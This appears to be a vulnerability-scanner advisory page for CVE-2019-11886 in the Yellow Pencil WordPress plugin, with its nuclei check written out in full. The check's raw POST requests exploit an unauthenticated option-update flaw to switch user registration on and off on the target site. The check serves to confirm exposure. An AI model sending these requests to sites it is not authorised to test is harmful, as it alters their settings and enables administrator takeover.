Yellow Pencil Visual Theme Customizer < 7.2.1 - Privilege Escalation

highseverity

8.8CVSS score

2.3%likelihood of exploitation, next 30 days

83%of all CVEs are less likely

Readycheck to confirm it

The WaspThemes Visual CSS Style Editor (aka yellow-pencil-visual-theme-customizer) plugin before 7.2.1 for WordPress allows yp_option_update CSRF, as demonstrated by use of yp_remote_get to obtain admin access.

Impact

Unauthenticated attackers can exploit CSRF to escalate privileges to administrator level, gaining complete control over the WordPress site including content manipulation and user management.

Fix

Upgrade to Yellow Pencil Visual Theme Customizer version 7.2.1 or later.

How to confirm it

Send: POST /wp-admin/admin-post.php?yp_remote_get=test ; GET /wp-login.php
Positive when: contains(body_2, 'wp-login-register') and contains(body_2, '/wp-login.php?action=lostpassword') and status_code_2 == 200
Send: POST /wp-admin/admin-post.php?yp_remote_get=test ; GET /wp-login.php?{{randstr}}
Positive when: !contains(body_2, 'wp-login-register') and contains(body_2, '/wp-login.php?action=lostpassword') and status_code_2 == 200

Run it with nuclei: nuclei -id CVE-2019-11886 -u <target>

The full check

id: CVE-2019-11886

info:
  name: Yellow Pencil Visual Theme Customizer < 7.2.1 - Privilege Escalation
  author: daffainfo
  severity: high
  description: |
    The WaspThemes Visual CSS Style Editor (aka yellow-pencil-visual-theme-customizer) plugin before 7.2.1 for WordPress allows yp_option_update CSRF, as demonstrated by use of yp_remote_get to obtain admin access.
  impact: |
    Unauthenticated attackers can exploit CSRF to escalate privileges to administrator level, gaining complete control over the WordPress site including content manipulation and user management.
  remediation: |
    Upgrade to Yellow Pencil Visual Theme Customizer version 7.2.1 or later.
  reference:
    - https://www.wordfence.com/blog/2019/04/zero-day-vulnerability-in-yellow-pencil-visual-theme-customizer-exploited-in-the-wild/
    - https://web.archive.org/web/20190410184502/https://www.pluginvulnerabilities.com/2019/04/09/recently-closed-visual-css-style-editor-wordpress-plugin-contains-privilege-escalation-vulnerability-that-leads-to-option-update-vulnerability/
    - https://nvd.nist.gov/vuln/detail/CVE-2019-11886
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2019-11886
    epss-score: 0.02281
    epss-percentile: 0.83288
    cwe-id: CWE-352
    cpe: cpe:2.3:a:yellowpencil:visual_css_style_editor:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 4
    vendor: waspthemes
    product: yellow_pencil_visual_theme_customizer
    framework: wordpress
    fofa-query: body="wp-content/plugins/yellow-pencil-visual-theme-customizer/" && body="wp-"
  tags: cve,cve2019,wp,wordpress,wp-plugin,yellow-pencil-visual-theme-customizer,vkev,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-admin/admin-post.php?yp_remote_get=test HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        yp_json_import_data=[{"users_can_register":"MQ=="}]

      - |
        GET /wp-login.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "contains(body_2, 'wp-login-register')"
          - "contains(body_2, '/wp-login.php?action=lostpassword')"
          - 'status_code_2 == 200'
        condition: and
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-post.php?yp_remote_get=test HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        yp_json_import_data=[{"users_can_register":"MA=="}]

      - |
        GET /wp-login.php?{{randstr}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "!contains(body_2, 'wp-login-register')"
          - "contains(body_2, '/wp-login.php?action=lostpassword')"
          - 'status_code_2 == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from